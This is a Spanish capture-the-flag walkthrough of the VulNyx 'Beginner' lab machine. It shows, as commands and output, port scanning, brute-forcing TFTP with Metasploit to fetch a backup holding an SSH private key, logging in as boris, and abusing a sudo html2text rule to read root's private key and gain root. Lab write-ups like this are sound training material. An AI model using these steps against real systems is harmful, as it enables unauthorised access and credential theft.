VulNyx - Beginner
- TFTP Brute
- Abusing Html2text Binary
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.48
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.48
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Escaneo puertos UDP
❯ nmap -sU --top-ports 100 192.168.1.48
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
HTTP TCP - 80
Al realizar fuerza bruta de directorios/archivos
no he encontrado nada, así que abro metasploit para realizar fuerza bruta al servicio TFTP.
msf6 > search tftpbrute
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/tftp/tftpbrute normal No TFTP Brute Forcer
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/tftp/tftpbrute
msf6 > use 0
msf6 auxiliary(scanner/tftp/tftpbrute) > set RHOSTS 192.168.1.48
RHOSTS => 192.168.1.48
msf6 auxiliary(scanner/tftp/tftpbrute) > run
[+] Found backup-config on 192.168.1.48
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Encuentro el archivo backup-config
y lo descargo.
❯ tftp 192.168.1.48
tftp>get backup-config
Con file veo que backup-config
es un archivo zip.
❯ file backup-config
backup-config: Zip archive data, at least v1.0 to extract, compression method=store
Al descomprimir el archivo zip crea una carpeta con el nombre backup y dentro contiene id_rsa
y sshd_config
.
❯ unzip backup-config
Archive: backup-config
creating: backup/
inflating: backup/id_rsa
inflating: backup/sshd_config
En el archivo sshd_config
encuentro el usuario boris que es el usuario de la llave id_rsa
.
Me conecto al sistema mediante la llave rsa.
❯ ssh boris@192.168.1.48 -i id_rsa
boris@beginner:~$ id
uid=1000(boris) gid=1000(boris) grupos=1000(boris)
Enumero permisos de sudo.
boris@beginner:~$ sudo -l
Matching Defaults entries for boris on beginner:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User boris may run the following commands on beginner:
(root) NOPASSWD: /usr/bin/html2text
Lanzo html2text
apuntando al id_rsa
de root y obtengo la llave rsa.
Copio la llave a mi máquina y la arreglo para que funcione correctamente.
Me conecto como root.
❯ ssh root@192.168.1.48 -i root
root@beginner:~# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Beginner.
Saludos!